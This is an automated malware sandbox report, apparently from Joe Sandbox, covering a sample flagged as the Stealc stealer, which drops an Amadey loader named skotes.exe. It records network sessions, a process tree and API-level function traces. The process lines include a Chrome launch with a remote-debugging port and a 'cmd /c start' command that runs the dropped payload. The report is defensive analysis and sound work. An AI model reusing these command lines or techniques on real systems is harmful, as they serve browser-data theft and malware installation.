<?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:46:04 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:46:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:46:05 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 84bd3aaa-901e-0016-42e4-3cefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164605Z-178bfbc474bwh9gmhC1NYCy3rs00000004rg00000000fqfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:46:05 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:46:05 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:46:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:46:05 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: ca47fefa-001e-0014-1746-3c5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164605Z-178bfbc474bscnbchC1NYCe7eg00000004ug00000000dma8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:46:05 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:46:05 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:46:06 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:46:06 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 6d467d74-a01e-0050-5286-3adb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164606Z-174c587ffdfmlsmvhC1TEBvyks00000003dg0000000046g2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:46:06 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:46:06 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:46:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:46:07 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 30a13b16-c01e-0082-0d6a-3caf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164607Z-174c587ffdf8fcgwhC1TEBnn70000000039000000000mpsk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:46:07 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Target ID:	0
Start time:	11:44:05
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xe90000
File size:	1'787'392 bytes
MD5 hash:	447B432C2A27E71E1053DA4D6D520222
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1763800423.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2219111350.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2218670347.00000000006CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:44:17
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:44:19
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3392 --field-trial-handle=2936,i,10454641456721250050,18231566279611338809,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:44:49
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDHCFIDAKJD.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:44:49
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:44:50
Start date:	23/11/2024
Path:	C:\Users\user\DocumentsDHCFIDAKJD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsDHCFIDAKJD.exe"
Imagebase:	0x680000
File size:	1'973'248 bytes
MD5 hash:	EE9C5875F526C3F44381BEB36B6EAA62
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.2292464781.0000000000681000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.2205707440.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:44:52
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x890000
File size:	1'973'248 bytes
MD5 hash:	EE9C5875F526C3F44381BEB36B6EAA62
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.2278205057.0000000000891000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.2237001499.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:44:55
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x890000
File size:	1'973'248 bytes
MD5 hash:	EE9C5875F526C3F44381BEB36B6EAA62
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000003.2264428926.0000000005130000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.2304893190.0000000000891000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:45:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x890000
File size:	1'973'248 bytes
MD5 hash:	EE9C5875F526C3F44381BEB36B6EAA62
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000003.2305839714.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000002.2346183428.0000000000891000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:46:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x890000
File size:	1'973'248 bytes
MD5 hash:	EE9C5875F526C3F44381BEB36B6EAA62
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000003.2906066493.0000000005090000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.3006747902.0000000000891000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6C4535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C4DF688,00001000), ref: 6C4535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C4535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C45363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C45369F
__aulldiv.LIBCMT ref: 6C4536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C453773
EnterCriticalSection.KERNEL32(6C4DF688), ref: 6C45377E
LeaveCriticalSection.KERNEL32(6C4DF688), ref: 6C4537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C4537C4
EnterCriticalSection.KERNEL32(6C4DF688), ref: 6C4537CB
LeaveCriticalSection.KERNEL32(6C4DF688), ref: 6C453801
__aulldiv.LIBCMT ref: 6C453883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C453902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C453918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C45394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C4535DB
GenuntelineI, xrefs: 6C453639
GTC, xrefs: 6C453912
AuthcAMDenti, xrefs: 6C453946
QPC, xrefs: 6C4538FC

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 2943a2f0a32fe47d86419aaa762f4d7c961f764a44fb1fd46916d5ede9124b05
Instruction ID: df6a2d4568c3332d8bbb7da6f740b2a876b5b7b5ab1f7bf90f2f7e34adec924a
Opcode Fuzzy Hash: 2943a2f0a32fe47d86419aaa762f4d7c961f764a44fb1fd46916d5ede9124b05
Instruction Fuzzy Hash: 14B180B1B053109FDB18FF28C854F1ABBF5AB8A704F45892EF899D7790D770A9018B91

Function 6C46C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C46C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C46C969
GetSystemInfo.KERNEL32(?), ref: 6C46C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C46C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C46C9E2

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 696d6c0763dfa147f2ffb5b66998b4de2897699f6f55e33ebc377f07a6f895e3
Instruction ID: a020fc41bf4c04f465dbb56e9f46afa55e57ffe28e7400a0bb5f07d91e09ed1f
Opcode Fuzzy Hash: 696d6c0763dfa147f2ffb5b66998b4de2897699f6f55e33ebc377f07a6f895e3
Instruction Fuzzy Hash: 3921C231742614ABDF15FA65DC84FAE72BAAB46744F50051EF903E7B84DB60A80887A1

Function 6C453060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C453095

Part of subcall function 6C4535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C4DF688,00001000), ref: 6C4535D5
Part of subcall function 6C4535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4535E0
Part of subcall function 6C4535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C4535FD
Part of subcall function 6C4535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C45363F
Part of subcall function 6C4535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C45369F
Part of subcall function 6C4535A0: __aulldiv.LIBCMT ref: 6C4536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C45309F

Part of subcall function 6C475B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4756EE,?,00000001), ref: 6C475B85
Part of subcall function 6C475B50: EnterCriticalSection.KERNEL32(6C4DF688,?,?,?,6C4756EE,?,00000001), ref: 6C475B90
Part of subcall function 6C475B50: LeaveCriticalSection.KERNEL32(6C4DF688,?,?,?,6C4756EE,?,00000001), ref: 6C475BD8
Part of subcall function 6C475B50: GetTickCount64.KERNEL32 ref: 6C475BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C4530BE

Part of subcall function 6C4530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C453127
Part of subcall function 6C4530F0: __aulldiv.LIBCMT ref: 6C453140

Part of subcall function 6C48AB2A: __onexit.LIBCMT ref: 6C48AB30

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 45ac4b3f0566ebb045ede21f0ab2e1fc26bc5761dbe4e5b231a54ea7e154afb0
Instruction ID: 4f74803f7fc0278b914009d0aca87902931083eb99ccd2f5c3dc0beb46b6f262
Opcode Fuzzy Hash: 45ac4b3f0566ebb045ede21f0ab2e1fc26bc5761dbe4e5b231a54ea7e154afb0
Instruction Fuzzy Hash: 72F0D612E2674896DA20FF748841AE6B770AF6B118B54931DF84467A61FB2071D9C3D1

Non-executed Functions

Function 6C465440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C465492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4654BE
__Init_thread_footer.LIBCMT ref: 6C4654DB

Part of subcall function 6C48AB3F: EnterCriticalSection.KERNEL32(6C4DE370,?,?,6C453527,6C4DF6CC,?,?,?,?,?,?,?,?,6C453284), ref: 6C48AB49
Part of subcall function 6C48AB3F: LeaveCriticalSection.KERNEL32(6C4DE370,?,6C453527,6C4DF6CC,?,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C48AB7C

Part of subcall function 6C48CBE8: GetCurrentProcess.KERNEL32(?,6C4531A7), ref: 6C48CBF1
Part of subcall function 6C48CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4531A7), ref: 6C48CBFA

GetCurrentThreadId.KERNEL32 ref: 6C4654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C465516
GetCurrentThreadId.KERNEL32 ref: 6C46556A
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C465577
moz_xmalloc.MOZGLUE(00000070), ref: 6C465585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C465590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C4655E6
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C465606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C465616

Part of subcall function 6C48AB89: EnterCriticalSection.KERNEL32(6C4DE370,?,?,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284), ref: 6C48AB94
Part of subcall function 6C48AB89: LeaveCriticalSection.KERNEL32(6C4DE370,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C48ABD1

GetCurrentThreadId.KERNEL32 ref: 6C46563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C465646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C46567C
free.MOZGLUE(?), ref: 6C4656AE

Part of subcall function 6C475E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C475EDB
Part of subcall function 6C475E90: memset.VCRUNTIME140(ewKl,000000E5,?), ref: 6C475F27
Part of subcall function 6C475E90: LeaveCriticalSection.KERNEL32(?), ref: 6C475FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C4656E8
GetCurrentThreadId.KERNEL32 ref: 6C465707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C46570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C465729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C46574E
